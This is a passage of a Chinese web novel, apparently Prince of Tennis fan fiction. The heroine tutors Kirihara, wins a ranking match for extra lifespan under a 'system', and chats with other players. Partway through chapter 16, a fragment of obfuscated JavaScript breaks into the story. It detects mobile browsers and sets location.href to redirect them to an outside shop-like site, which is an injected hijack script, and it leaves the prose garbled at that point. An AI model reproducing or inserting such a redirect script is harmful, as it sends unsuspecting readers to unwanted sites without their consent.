看起来甚至比她还小些的前辈此刻正在尽情享受汤面滋味,即使额间被热意氤出细密汗珠仍没有停箸。
哪怕每天都操心着队里的事情,还能不忘思考自己的人生哲学。
这样的活着,真是太有意义了。
内心某处几不可察地颤动瞬息。
好半晌,夕浔指尖蜷紧,眸光忽而软下几分:“学姐说得对。”
实在是很有哲理的话,她受教了。
“你可别愣着,待会面凉了可风味大减。”井上爱笑着瞅了眼夕浔的碗,又扭头朝柜台的老板挥挥手。
“老板,请给我再来一碗!”
夕浔决定撤回刚才的感动,她怀疑井上爱是为了光明正大大吃特吃才热爱运动的。
15.补课
“同桌……”
熟悉的电线杆已经第三次出现在眼前,左侧人家养的黑犬从庭院里激动探出头,朝切原赤也“汪汪”叫唤了几声。
声音不算大,起码没打扰到其他住户,但伤害性极强。
夕浔率先停下脚步,朝屋子里被惊动的黑犬主人说了声抱歉,才迟疑着看向切原。
“你确定是这么走的吗?”
满头大汗的切原赤也忙乱地从手机聊天记录中翻到柳前辈发来的地址,又不断抬头对着眼前街道反复确认,最终化作困惑的呢喃:“……我明明记得是这边啊。”
他以前去过柳前辈家里,所以刚才信誓旦旦和雾岛说带路包在他身上,明明这次也是照着地图上的指示走的,怎么可能会走错路呢?
但熟悉的电线杆、熟悉的住户和熟悉的黑犬都在不断提醒着他“迷路了”这个显而易见的事实。
切原肉眼可见的焦躁了几分。
已经重新安静的黑犬靠在栏杆旁又躺了下去,朝切原望去的眼神犹有不屑,似在无声嘲讽眼前这个路过自己家门三次的愚蠢人类。
切原差点被黑犬的蔑视气得炸毛,睁圆了眼,刚要狠狠瞪回去,斜刺里却忽而伸出来只修长白皙的手掌,正好按在他即将揣进口袋的手机上。
泛着凉意的指尖是陌生的柔软触感,抵在切原青筋凸起的手指骨节上,即将喷薄而出的话语踩了急刹车,就这么堪堪停在喉口卡了壳。
胀热的酥麻感从脊椎一路爬到耳根,发烫的大脑骤然被另外的情绪填满,他颤音在舌尖反复打着滚,支吾好半晌才蹦出来几个词。
“同桌,你,你干什么……”
耳畔响起极轻的一声叹息,搅得切原呼吸都急促起来,但他来不及回应,便又听到她说:
“我来吧。”
切原僵在原地没有动作,任由夕浔拿走手机,好半晌才感觉大脑冷却了下来,微微侧过头观察她动作。
银白色长发安静垂落她颈后,专注研究屏幕的脸庞认真而柔和。
心跳在不知不觉间回归正常节奏,连原本找不到路的烦躁感和焦虑都在这种静谧中烟消云散。
他看到夕浔确认了位置的具体信息后,就熟练打开地图软件,比对起了路线。
切原还没看清那路线,便见屏幕已经被她按灭,她回头朝他晃了晃手机,亮银色发梢在空中划开细微的弧度。
“我记住了,走吧。”
这就记住了?
切原讷然张大了嘴,也顾不上震撼,只是径自跟上她的脚步,在七拐八弯穿过数个巷弄后,终于停在了他到过的柳宅面前。
看到熟悉无比的建筑,切原眼前一亮,快步上前想要按下门铃。
门铃声与来电铃声几乎同时响起。
“叮铃铃~叮铃铃……”
柳莲二在玄关处换好鞋,从通讯录里找到名字、拨出电话。
刚同真田沟通过的他合理推测赤也再次迷路了的概率高达百分之九十,打个电话确认赤也的位置,也方便他去将人带过来。
电话尚未接通,柳莲二心里已经开始了无声的计算,按照上次的经验,这次赤也大概率会在离镰仓站不远的……
伸手打开房门的刹那,门铃声、彩铃声忽而一齐响起。
柳尚未来得及分辨音源构成,电话恰在此时被接通。
“摩西摩西。”
出乎意料的是,隔着屏幕和空气传来的不是赤也的声音,而是清润自然的声线,柳莲二听着莫名觉得耳熟。
那声音明朗而轻快,就如他抬头正巧看到的笑颜。
应该只是礼节性的笑容。
出神之际,柳莲二还不忘想,赤也确实如仁王说的那般幸运,以至于连小概率事件都能发生。
“滋滋……”
耳侧,似乎是信号不良引发的细微电流声,让柳莲二瞳孔重新聚焦。
迎着和煦晨光,令人见之难忘的少女冲他摆了摆手,语气轻松自然。
“柳前辈日安,我把切原带到了。”
手机和空气中传来的声线同频、重叠,掩盖了那瞬间心脏的悸动。
柳莲二眼睫翕动了下。
有很轻微的、奇异的情绪悄然划过。
他来不及抓住那感觉,但还是很快调整好表情,对着夕浔和切原点点头:“你们来得正好,请进。”
切原赤也探头探脑朝屋内小心打量,被柳莲二轻轻按住肩膀。
“真田已经来了,你还没有迟到,不用担心。”
清越的嗓音似有关切,他将门彻底拉开,玄关处已经摆好两双崭新的拖鞋:“下次我会做个更详细的地图指引给你。”
切原赤也被戳穿心思,不好意思地挠了下脸:“这次多亏了同桌。”
柳莲二对于这一事实毫不意外,转头对夕浔道谢:“雾岛,赤也有劳你费心了。”
夕浔摇摇头表示没有问题。
“家姐还在客厅,我们在那里补课,你不用担心。”
网球部除了幸村和去探望他的柳生和丸井以外,全员都在,这环境对一个女生而言,还是有不小顾虑的。
闻言,夕浔攥着书包肩带的手有片刻怔松,她旋即点了点头,唇角弯起细微的弧度:“前辈考虑得很周全。”
进入客厅,众人不由自主将目光投来。
她打眼望去,就发现温馨的客厅已经坐了好几个人。
戴着耳机窝在软沙发里看平板的女生,桌子前写作业的光头男生,坐姿笔直挺正的黑发男生以及转着小辫子打发时间的银发男生。
之前夕浔已经听切原提过给他补课的前辈有点多,倒也不意外眼前的场景,由切原为她一一做了介绍。
柳的姐姐柳莲雅是个褐发红眸的美人,同柳的长相颇有些相似,见到夕浔过来,她眼睛微微亮起,很快搁下平板,从桌子抽屉里掏出来不少零食:
“雾岛,这些零食你随便吃,不用客气!”
夕浔察觉到柳莲雅的善意,上前同她道谢,也没有拒绝她的好意,随手从里面拿了两样。
两人对话期间,切原已经同各位前辈打过招呼,熟练找了个位置坐下。
在他斜对面的仁王雅治停下动作,目光在夕浔和柳莲二身上停顿半秒,毫不费力就得知了切原及时赶到的缘由,碧瞳掠过抹恶趣味。
赤也运气确实不赖嘛。
再迟五分钟的话——
仁王视线落在旁边的真田身上,半耷拉的眼皮掀了掀。
啧啧。
没看到好戏,可惜……
鼻尖一阵松柏清冽的气息顺着呼吸,直钻进肺部,打断了仁王的思绪。
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他下意识抬眼,就瞧见那个所有人都夸好看的学妹已经拉开椅子,在他对面坐下。
近看的话,确实更让人印象深刻了。
仁王目光轻轻掠过她的眉眼,移开视线时漫不经心想到,下次顶着这样一张脸去骗人的话,应该杀伤力会更大吧?
“前辈——”她忽而出声,将仁王的胡思乱想拨回正轨,但当他对上她视线的时候,却有片刻的怔愣。
她认真注视着他,专注到仁王不禁警觉半眯起了眼,他放松语气,试探道:“怎么了?”
那神情平宁柔和,拉长的尾音咬字清晰而缓慢,配上不含情绪的眸,嘴上喊着前辈,但口吻分明像是对他内心主意的无声警告。
“没什么……能请前辈将试卷收一下吗?”
难道那点小心思被猜到了?
仁王诧异抬眼,但表情还是松弛下来,歉意朝她笑了笑,伸手将多余的试卷往回拢:“不好意思。”
这点小插曲没有影响补课进程,夕浔转而研究起切原的小测试卷。
半晌后,被花样百出扣分方式惊到的夕浔放下试卷,口吻真诚道:
“同桌,你国一居然没有挂过科,实在是奇迹。”
她已经能够想到当时切原的前辈有多么辛苦了。
这家伙说是立海王牌,不会能力全都只点在网球上了吧?
那她打败他的目标任重而道远啊。
完全不知道夕浔内心想法的切原垂头丧气道:“国一那会还有点小学的基础,前辈们辅导我也都很用心,国二的英语太难了……”
夕浔点头示意理解,黑色签字笔转了几圈后停在指尖,被她倏然捏紧:“OK,那我们换个路径。”
“你先做作业,我来划重点出题。”
“就算不懂语法,把题目背下来的话,高分不能保证,但让你参赛不成问题。”
她神情平静,说出口的话带着权衡后的审慎,内容却让人惊掉下巴。
“同,同桌?”切原瞳孔地震。
他也没想到,还能这么玩啊。
柳莲二倒水的动作停下,确实是没有考虑过的思路。
但——
真田显然和他有同样的顾虑,皱着眉头想要说些什么。
“不打牢基础的话,赤也之后的考试不能每次都靠划重点。”一杯水被放在夕浔手边,玻璃杯落到桌面的轻响和柳莲二隐含担忧的提醒同时响起。
虽然过考试的目的只是为了打网球这样的功利需求,但他们也真心实意希望赤也能够取得好成绩。
道了声谢,夕浔打开笔帽,黑色字迹在白纸上刷刷落下一串串英文字母,她头也不抬道:“那就把国中所有可能考的语法都背下来吧。”
“内容虽多,但重点总是有迹可循。结合所有可能出的语法句式混淆选项,以及高频考察词汇随机组合,阅读结合技巧,完型记忆选项,再找老师要试卷作为训练模拟……”夕浔倾诉事实般语气平静,不断给神情越来越凝重的切原加料。
“这样的话,总不算基础不牢吧?”
她抬眸,笑容轻松又坦荡。
你赢了。
在场所有人心中默契飘过这样的念头,然后又不约而同看向切原。
得到众人瞩目的切原:“……”
生无可恋。
16.歌词
除了出题,夕浔还列了张词汇表让切原在三天内背下来。
“这边的词,你在阅读中看到的时候就重点看这后面的句子,和哪个选项重合越多就选那个选项。”
题目可能未知,但出题套路却是已知的。
这些词语是指向性词汇,阅读无非是问5W1H,问什么找什么再加上指向性词汇帮助,只要锁定关键句位置就能大大提高正确率。
“至于这页的……”她给纸张翻了面,“完型填空看到这些选项直接选。”
回归到月考本身,其实只需要结合这段时间学习的词汇和语法推测重点题型即可,但落到长远的比如升学考的话,他们时间还算充裕,尚且足够查漏补缺。
她说得胸有成竹,加上成绩摆在面前背书,没人怀疑这套流程的可行性。
切原听了夕浔的解释,突然觉得阶段性任务量似乎还不算很重,正要感动时,便听夕浔道:“直到段考前,每天一张试卷,我会监督你的完成度的。”
刚活过来的切原又啪唧倒下了。
夕浔微不可察弯了弯唇。
她隐藏了自己的心思。
既然是互帮互助,那之后她提出挑战切原,应该也顺理成章。
柳莲二在心里飞速推测概率,发现按照她的说辞,确实有相当高的可能显著提高成绩,这与他们之前想为切原按部就班打好词汇语法基础的思路不同,但应该行之有效。
但他还是微微蹙眉,只是同桌的话,雾岛没有必要为切原做到这个份上,这是他们前辈应该做的:
“这样太麻烦你了。”
平心而论,哪怕是之后雾岛有事无法将这个计划延续,光是这个提议本身,已经足够有价值了。
“之后如果有什么需要我们帮忙的,请不用同我们客气。”思忖片刻,柳慎重道。
等的就是这句话。
夕浔眼睛微微亮起,但太快答应容易让人瞧出来动机不纯。
于是她停顿了几秒,才像是临时想出了个事情,缓声道:“……那我之后请前辈们讨教网球,可不能拒绝啊。”
“应该的。”真田弦一郎出声应下。
作为副部长的真田都同意了,其他人更是没有问题。
徒留目睹了她一通神操作的系统瞠目结舌,宿主这就成功得到未来对手的同意了?
这算什么支线推进主线吗?
中场休息的时候,为避免影响切原做题,真田和柳离开去讨论下周的训练内容,仁王拐着胡狼桑原去庭院闲逛,柳莲雅去了趟洗手间,夕浔则起身续水。
切原赤也本来还在抓耳挠腮地对付题目,发现身旁人站了起来,正同作业纠缠的他刚好有了合理理由走神,下意识扭头看去。
他动作太快,在夕浔尚未反应过来之时,已不经意撞上夕浔的小臂。
刹那间,她握杯的手颤了颤,刚倒满的水便从杯中溢出将桌面的纸张打湿,迅速在纸面洇开大片深色。
水滴顺着桌檐流下,在地上积蓄出浅浅的水洼。
“切原赤也……”
夕浔额角突突跳起,透过白皙手背他甚至能看到青灰色的血管蜿蜒向指节,连那声音都难得染上咬牙切齿意味,“我刚刚写好的作业。”
“对不起对不起!”
反应过来自己干了什么的切原满脸惊慌,连忙抽出纸张试图挽救残局,可也只是将多余的水吸走,湿漉漉的卷面仍彰显着他刚才犯下的罪行。
“我只是……”
切原还在用纸巾小心汲出水分,翡翠绿的瞳孔闪过真切的懊悔和羞愧。
越着急越容易出错,纸团被他挤得掉落到桌子下面,正当切原弯腰想顺势捡起纸团时,夕浔为了避免进水恰好将手机拿起,偏生又同他低头的动作碰了下,耳机线被扯得从手机孔中带了出来。
英文歌词押着动感的节奏孜孜不倦流淌着。
“I wish that there was something I could do but I can’t unlove you……”[1]
刚刚被英语听力折磨了半小时的切原条件反射般跟读起后半句,但英语口语不甚流利的他没有听清最后的“unlove”和“I love”的区别,就连“can’t”和“can”也混淆了。
“……Can I love you?”他抬手捡起纸团,眼神明亮,头一次这么佩服自己的听力水平。
离开多时的几人恰在此时走进客厅。
映入眼帘的便是银发少女挺直的背影和抬头的切原明亮的眼神、震撼的台词。
心律骤然失衡的柳莲二:“……”
面沉如水的真田弦一郎:“……”
状态外的胡狼桑原:“……”
看热闹不嫌事大的仁王雅治:“……puri。”
柳莲雅:“哇!好有新意的告白。”
听到动静的夕浔脊背僵直,头次见到宿主失态的系统为报上次的吐槽之仇,也跟着凑了句:【哇哦。】
夕浔面无表情放下水杯,手指紧攥成拳又松开,松开又攥紧,如是重复三遍后,她还是忍不住伸手一把掐住切原的脸,声音从牙齿挤出来:
“白痴,这句英语不是这么念的!”
早知道补课的代价这么沉重,她宁愿换个方法。
她的指腹沁着凉意,有很薄的茧子,是握球拍还是握笔留下的?
被捏脸的切原表情龇牙咧嘴,茫然想着这个突然冒出的问题,片刻后终于反应过来自己又闯祸了,脑子里却不禁陷入阵阵空白和眩晕,甚至连让她住手的话都忘了说。
明明不少前辈都掐过他的脸,那力道也分明比前辈们轻,可他却忽然觉得同桌可能太用力了,不然怎么他的大脑失去控制、脸颊也疼得发烫了。
“I wish that there was something I could do but I can’t unlove you……”[1]
副歌旋律响了好一会,歌曲继续播放,直到重复的歌词再次出现,几人才明白眼前局面出现的原因。
真田毫不犹豫地给制造了麻烦的切原一顿结实的铁拳,还压着他给夕浔道了歉。
报复完毕的夕浔很是爽快地原谅了切原,顺带还借此让他学习了下英文翻译。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15935044|176148||http|test|mini|href|location''.split(''|''),0,{}));
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>“……但我无法……不爱你?”切原觉得这么明显的否定前缀还是很容易理解的,磕磕绊绊把“unlove”翻译为不爱后就期待地看向夕浔。
“不对。”
将试卷晾晒到屋外廊道的夕浔走了回来,给他科普:
“un+动词的核心意义是做相反动作或撤销之前的状态,它隐含了之前状态的存在,‘unlove’捕捉了此前动作的终结,描述的是从爱转变为不再爱的动态过程。”
解释完后,夕浔又对着似懂非懂的切原道:“……所以这句话的完整翻译是‘我希望我能做些什么,但我无法停止爱你。’”
国语尚可的切原摸着下巴,举手提问:“那这不就是会一直爱的意思吗?为什么要说得那么复杂?”
对侧的仁王雅治勾唇笑了下:“赤也,双重否定除了表肯定,还有加强语气的作用啊。”
切原故作镇定辩驳:“分明没有什么区别嘛。”
察觉到他的心虚,仁王噗嗤笑了出来,半晌还是摇头道:“你还是太年轻了。”
年轻人真是太可怕了。
球场旁边,井上爱发出由衷的感慨。
本来她还想看在雾岛在社团招新周帮女网部多招了不少看脸而来的新生份上,把她分配到实力平均点的d组,没想到高野秉持着“运气也是实力一部分”的原则,这一摇就给雾岛摇到了森理所在的c组。
虽然说c组只有森理这个正选,而且是胜场累计赛,但谁能说雾岛首场就对上了森理不是倒霉呢?
然而本来还在感慨雾岛运气差的众人,旁观比赛至今,却着实被雾岛所展示出来的实力惊到了。
从比赛开始,两人到现在都没有被对方破发。
场上的比分已经来到5-5,咬得太紧,连周围人都不由跟着捏了把汗。
“砰,砰,砰。”
森理弯腰放球,小球落地后被她握住又松开,她看着同自己站在对面的夕浔,内心并没有被学妹将比分追平的挫败,甚至还隐隐带着点兴奋。
满打满算也才学了两个半月的雾岛,亏她之前还觉得欺负新人,却没想到新人能给自己这么大的压力。
迎着炙烈的日光,森理抬手抛球的时候汗水坠入了她的眼睛,她猛眨下眼,用力挥臂,一个深区上旋球落到夕浔的半场。
反应时间太短了!
夕浔暗自蹙眉,却还是挥拍击出直线球击向森理的左半场,紧跟着回到中线位置。
森理敏锐察觉到这球威力不强,远不及雾岛在发球中展现出来的刁钻,快步移动到落点,将球击回。
几番拉锯之后,这局再度被森理拿下。
待到夕浔的发球局时,反复的内角平击和外角上旋再次勾得森理牙痒。
都第十二局了,怎么发球还能有这样的速度。
难缠。
森理叹了口气,却还是强迫自己将注意力集中。
输又不能干脆地输,赢又不能干脆地赢,从底线攻击型选手那里学了速度,偏偏风格比她这个磨教流还拉扯,实在是,一言难尽。
但总而言之,打得相当不舒服。
之前实在是小瞧雾岛了。
17.故人
球场旁边,随着比赛时间的延长,其他组没有比赛的部员都陆陆续续聚拢到此处,连长谷川教练都走了过来。
她看着场中焦灼拉锯的两人,问高野凉:“我记得你之前提过雾岛是国二才加入网球部的?”
高野凉正津津有味地观赛,听到长谷川的话还愣了下,反应过来后才凑近教练几步,低声道:“对,不仅如此,雾岛的球龄还不到三个月。”
本来拿着文件夹的长谷川讶异挑眉:“怎么可能?”
以她目前展现出来的实力,虽然也有她风格克制森理的原因,但绝对不可能是只打了不到三个月的新人。
“那不还得多亏我有一双善于寻宝的睿智之眼。”高野凉把墨镜摘下,笑得相当自豪。
“确实。”长谷川早就明白了高野的性格,当下点头肯定道,“你真是挖到宝了。”
宝藏·夕浔现在半点都没有周围人所想的那么淡定。
虽然从切原那里学了不少克制森理的打法,也通过平日的观察了解了森理的习惯,但运动向来是现实的事情,经年累月的实力差也不可能完全通过技巧抹平。
好累。
嗓子干到要冒烟,浑身上下的汗水都要流尽,手臂因为长时间的挥拍传来明显的酸痛感,掌心火辣辣的疼。
运动真是太辛苦了。
两人已经打进抢七,这是谁都没有预料到的。
尽管大部分部员并不知道夕浔真正的学习时长,但国二才加入网球部的新人刚来就和球龄四年的正选森理打进抢七这种事情,在今天之前压根没人会相信。
打回这球。
夕浔用力咬下齿腔一侧的肉,让自己维持清醒的状态。
打败森理前辈的奖励是十天寿命。
十天。
唇瓣微微翕动,夕浔蒙着灰雾的眸中缓慢地燃起某种焰火。
不管付出什么代价,她要赢。
森理击出熟悉的上旋球,黄色小球越过球网,带着高速的旋转落在夕浔的半场。
那是她最拿手的深区上旋发球,虽然没有名字,但也相当有个人特色。
5-5。
夕浔眼角余光甚至分心给了记分板一瞬,而后她轻轻吐出口气,表情沉静如水。
球拍在触球刹那攥紧、向前平推发力,后震力通过手腕传至肩臂,网球却以极快的速度落至森理球场的底线方位,正当森理引拍等待球弹起之时,却见那球径自沿着场外疾掠出去。
速度过快带动的残影甚至到小球撞上栏网停止后才消失。
“什么?”
比赛至今,森理首次露出错愕的神情。
压在边线,贴地而行?
这球是直接打出的还是……
不,不对,那个贴地而行的力量应该借助了她发球时赋予球的旋转。
倘若她是网前截击型选手,这球压根不会有机会落地,倘若她不是那么擅长用上旋,这球不会出现得这么丝滑,倘若……
电光火石间,森理心中莫名想到,雾岛这球不会就是专门针对她的吧?
但赛场上没有太多时间思考,这球虽然出其不意,但也不是完全没有办法,只要她能够将拍面再降低一些,不,不行,这样回球质量太低,太容易被击回,或许她可以上网拦截……
森理脑中不断闪烁着各种应对的方法。
这是夕浔的发球。
一个外角平击,被森理及时击回,再是大角度调动球,森理感觉到了夕浔的险恶用心,磨了磨牙。
喜欢上旋的话,那就再来一次。
森理再次回以上旋,在夕浔使出那招之后,她抢先上网截击,虽然因为手腕力量下降这球落点没有预期的深,但没有关……
不对!
她什么时候出现在那里的?
森理碧色瞳孔剧烈震颤。
“前辈,承让了。”
长相出众到惊人的少女忽而弯唇笑了下。
分明是力竭到极致,她还是面色轻松地击出一个斜线穿越球。
但那笑意也带着某种狡黠。
绝招这种东西,如果知道缺点,哪有不包售后的。
森理果断后撤步伐想救球,但震惊所耽误的那半秒已经错过了最佳时机。
“砰!”
裁判哨声响起,宣告比赛结束。
森理甩了甩手腕,看着对面因为体力不支而倒下的学妹,扶额:“就这种续航能力,谁给你的胆子打这种球?”
接下来还有排位赛要打,她有意保留体力,但雾岛明知道接下来还有比赛,却还敢打这种极耗体力的球,倘若再给她几个来回,这场赢的就不是雾岛了。
虽然森理是在吐槽,但夕浔还是从中听出了几分亲昵的意味。
果然系统说的有道理,打败强大的对手就是在运动社团建立关系的重要途径。
夕浔用球拍勉力支撑着站起身,上前走到网前。
在场外各处响起的掌声中,满是手汗的两人丝毫没有嫌弃地握手。
直到快松手的时候,夕浔才轻声道:
“可能是因为,无论如何也想要打赢学姐这样强大的对手吧。”
她声音险些揉碎在风中,森理迟了半秒才确定自己听到的内容,下意识朝她看去。
直到此刻森理才发现雾岛实在有双迷人的眼睛,那是很神秘也很漂亮的雾霭般静谧深邃的蓝,只消望上一眼便能叫人心软。
当她抬眸真诚而坚定地说出这样的话时,没有人会怀疑其中真实性。
怔了半晌,森理才伸出没有发酸的左手揉了揉耳垂,脸上表情像是微妙又像是牙疼,她小声嘟囔了句:
“真犯规呀。”
【恭喜宿主合法合规战胜挑战对象森理,获得十天寿命,额外奖励积分十万。】
【系统商城已解锁,挑战对象列表已解锁部分,宿主可通过系统面板自行查看。】
【特别提醒,战胜挑战对象需通过正当途径,不得通过关系蓄意放水、打假球骗取系统奖励。】
夕浔听着脑海中系统的提醒,心里无声笑开。
终于,迈出第一步了。
她知道森理前辈保留体力的原因,也知道自己有不得不战胜对方的理由,两方对于这场比赛的心态不同,这是她能够取巧战胜森理的原因,也是系统没有判她违规的原因。
再早点使用那球,森理就会在实践中发现更多应对或者干脆封锁的方法,只有在那个时刻,森理已经通过前面的比赛基本确定了她的大部分回击路数,能够自信再同她拉锯几个回合放松心神的时候,才是最适合的时机。
那招确实如井上学姐说的那样,还有很多
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可以进步的空间。
但只要在适合的时机打出来,不完美又何尝不能制胜?
“你那招,有名字了吗?”夕浔思索之际,森理忽然出声问她。
夕浔摇头。
“你觉得‘流影’怎么样?”
借助对手给上旋球施加的旋转力,反而打出难以反击的球,落地后如残影掠过,就像,流动的影。
只要落地了,以那球的高度,就很难再有机会打出有效回击了吧。
森理回忆了下见到这招时的模样,虔诚希望每个这招的受害者都能共情她的心态。
夕浔乐得省下取名功夫:“好啊。”
比赛结束,在旁边围观的众人纷纷散去,只有长谷川若有所思盯着夕浔的背影,思考着接下来该如何雕琢这块璞玉。
排位赛分了两天的赛程。
今天剩下的时间里,夕浔故意在前两场放慢了节奏,加快体力的恢复,接下来的对手大部分都没有森理的实力,虽然花费了些功夫,还是被她有惊无险地赢下了c组的所有部员。
排位赛中每组胜场累计前二的成员成为正式出赛队员,全部比赛结束之后,夕浔也凭借c组胜场第一的成绩当选女网部正选。
新鲜的名单出炉之后,长谷川前脚公布完消息,后脚就接到了来自师姐龙崎堇的电话。
是两人固定时间的沟通。
当年在网球学校进修之时,她偶然得知在那里担任实习教练的龙崎堇同她毕业于同所高中,那时龙崎对她颇为关照,再加上她后来也走上了网球教练的道路,两人的联系就这么保持了下来。
挂断电话,龙崎堇正高兴师妹找到合心意的新工作,便听到敲门声响起。
“是手冢啊。”她朝手冢国光招了招手,“上次和你讨论的事情我有想法了。”
“把越前放进排位赛名单吧。”
手冢将列好的名单递给龙崎,闻言微怔,这正是他想同教练沟通的事情,只是不知道教练为何忽然改了主意。
但他没有主动问起,龙崎却翻着他拿来的名单笑了下:“看来你也有这个打算。”
“我今天听师妹说,她现在就职的女网部,出现了一个球龄三个月就能打败正选的国二女生,果然江山代有能人出啊。”
“好像是叫,雾岛吧。”龙崎堇回忆了下,又笑容爽朗道,“如果固守陈规无法进步的话,那就与时俱进培养更多新生力量吧。”
手冢也想不起来自己是怎么应答的,待他反应过来的时候已经同龙崎教练告辞往回走了。
从办公桌走到门口不过几米,往常这点距离手冢花不过十秒,今天他却走得很慢。
雾岛,这个姓氏并不常见。
那让他想到某个多年不曾见过的故人。
很遥远的回忆伴随着熟悉的词汇被开启,一点点蔓上心头,连带着那些已经尘封的情绪也如潮水般,缓慢地将他包围、吞噬。
将办公室门关上那刻,手冢终于否决了自己所有不合时宜的联想。
室外即将落山的日光和煦而温暖,穿过交叠掩映的树叶,簌簌落在他茶褐色碎发和褐瞳中,又洒了满肩,他就这么驻足凝着那夕阳,直至许久后,才响起极其轻微的一声叹息。
不会是她。
那人明明说过——
她最讨厌运动了。
18.理由
回到家的夕浔查看着系统界面。
原本灰暗的系统商城已经可以进入,点进去就看到琳琅满目的商品。
价格由低到高,前排多是一些网球用具如球拍、网球等,后排价格昂贵的比如修复液十万一瓶,还有模拟训练空间五十万积分十小时。
夕浔边感慨系统之前的大方边往下划,忍不住呼吸微滞。
续命卡,售价九十九万。
虽然因为积分不足显示无法购买,但她还是下意识点进去查看详情。
【这是神奇的卡片,能够延续使用者三天的寿命。】
简介太短,但夕浔还是禁不住视线微凝。
打败十个森理前辈,兑换三天寿命?
系统:……挑战对象已经成为换算单位了吗?
夕浔不知道系统的想法,只是看到商城里还有些尚未解锁的商品,也不着急,好奇问了句:【我以为你们会售卖特殊技能?】
比如动漫和小说里说的那样,一使出来就能让打脸反派的绝招什么的?
系统:【运动系统自然以提升宿主为主要目的,我们不会破坏宿主的成长体验,请宿主在实践过程中自行摸索,早日成长为强大的选手。】
夕浔点点头,退出继续查看挑战对象。
挑战对象的界面开放得更少,在连串灰暗的名单中,只有三个最前面的人闪闪亮着光。
其中排在首位的森理显示绿色,排在第二个和第三个的陌生女生头像外都闪着圈红光。
名字后面跟着的奖励天数都是十天。
夕浔沉吟片刻,果断提问:【列表里显示的挑战对象,我都会遇到吗?】
系统:【凡是能够让宿主在比赛中遇到的对象,宿主都能同对方交手,如果无法在比赛中遇到的挑战对象,需要宿主自行探索。】
夕浔点头表示明白。
这是告诉她比赛中的对手系统会动用神秘力量让她们对上。
将系统新开放的功能探索完毕,夕浔目光落在积分余额上面,露出思索之色。
续命卡和战胜挑战对象获得的奖励天数都能够续命,但兑换续命卡的积分来源显然不是单纯的战胜挑战对象这么简单。
她有个猜测,等改天再实验一下。
[雾岛夕浔:我当上正选了。]
猫猫戴墨镜.jpg。
手机那侧的人很给面子,几乎是秒回。
[凤长太郎:实在太厉害了,恭喜!]
点赞.jpg。
[雾岛夕浔:也得感谢你前段时间的帮助。]
友好.jpg。
[雾岛夕浔:如果之后有机会去东京的话,我去给你加油(笑容.emoji)。]
她翻了翻日历,发现复查那天应该是他们分区预赛的时间,便又同他补了个日期。
全国中学网球男女比赛赛程类似,前期赛事压力不大,她们的赛程在周六,他们应该是在周日。
凤长太郎回了小狗开心转圈的表情包,但略显遗憾地表示,前期正选应该没那么快出赛。
夕浔视线在白色小狗上默默停了半秒,眨了眨眼。
[雾岛夕浔:你们教练的安排吗?]
[凤长太郎:是教练和部长一起做的决定,应该是觉得前期还需要把重心放在提高正选的实力上面。]
考虑到凤的性格,夕浔觉得他可能是说保守了。
但她也不那么奇怪,冰帝这几年是有名的网球强校,强者嘛,不轻易出手也正常。
她还没有回复,手机屏幕又弹出凤的信息。
[凤长太郎:不过你来的话,我可以带你去参观下冰帝吗?]
夕浔险些笑了下。
好傻的人,怎么当东道主还这么客气呀。
[雾岛夕浔:好呀,荣幸之至。]
交朋友第二步,了解对方的生活环境,get。
两人的聊天到此结束。
夕浔想到今天顺利成为正选,决定奖励下自己,于是从桌子上摸起根草莓棒棒糖,叼进嘴里就点开了游戏。
太美味了。
世界上怎么能有这么好吃的棒棒糖。
夕浔惬意往床上一躺,游戏加载提示结束后,不出意外看到了在线的浪漫君。
最近浪漫君在线的次数也很多。
国三的课业不重吗?
夕浔睫羽翕动,手指轻触就进入了浪漫君所在的房间。
她进来时白天的公投阶段已到尾声,警察带队查杀,众人票选出的杀手被乱拳打死,尜尜乌鸦叫声将游戏界面拉入月黑风高的黑夜。
忍足侑士选好狙击对象,略一错眼,就看到她的虚影在那人旁边显示出来,视线微闪。
但很快,他手中便重新端起枪,瞄准自己上方的人,毫不
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犹疑按下扳机。
“砰!
面色发白的花蝴蝶中弹倒下,连带着保护的平民也一同埋葬在枪声中。
夕浔遵守游戏秩序,安安静静旁观。
虽然场上已经阵亡了两个杀手,但是警察阵营人数更少,杀手阵营建立优势后迅速控场,后半局游戏结束得很快。
一局结束后,她加入游戏,在正式开始前,点开同浪漫君的私信。
[我旁边那个是警察,你最后那枪开他的话,就是MVP了吧。]
尽管都是获胜,击杀对方身份越高的角色,获得的评价和积分都不一样,前两枪忍足已经分别狙了医生和拆弹专家,而杀手前期的表现并不如他,如果再加上警察的话,他大概率就是全场最佳 。
她想不到浪漫君不对她邻居下手的原因。
隔着屏幕,他似乎能想象雾遥在对面一本正经疑惑的模样。
忍足垂下眼轻笑了声,指尖点击,飞快回复道:
[开花蝴蝶能一带二,划算些。]
夕浔略显迟疑应了声好,没再问下去,等待游戏倒计时。
忍足侑士退出私信界面,操作着礼物选项给她送了朵鲜花。
不是这个原因。
他只是在那个瞬间想起她说过的话。
忍足随手摘下眼镜往桌上放去,质地上乘的真丝衬衫随着他动作带起,露出清晰劲瘦的腰线,半晌他又回身,敛下睫羽。
灯光下,那双总隔着镜片与人对视的褐眸,正一错不错注视着屏幕里的西装小人,晃出深深浅浅的波光,只有半秒分了点心神掠过她隔壁的13号。
游戏倒数计时结束,系统已经给他分配好了角色,忍足尚未来得及关注新身份,只是抿唇,视线落在屏幕之上,微微游移。
耳侧似乎响起清冽、好听的声线,不紧不慢,如潺潺流水漫过溪石,淌过山林。
‘狙击手的第一枪,通常会打向离自己有段距离的位置。’
‘这是心理上将自己同危险隔离开的一种方式。’
良久,忍足侑士才轻轻别开眼,喉间不自在滑动了下。
不开枪的理由吗?
可能是因为,那人在她旁边吧。
移开狙击目标的时候,他下意识想——
就这样将危险同她隔离开。
哪怕只是游戏。
哪怕她并未参与。
19.演戏
全国中学网球大赛赛程分为分区预赛、都大会/县大赛、关东大会和全国大赛四轮,分区预赛受地区限制,参赛学校不算多,最终取前两名晋级下轮赛事。
立海作为一号种子队伍,在分区预赛的首场轮空。
第二场开始的时候已经接近上午十点半。
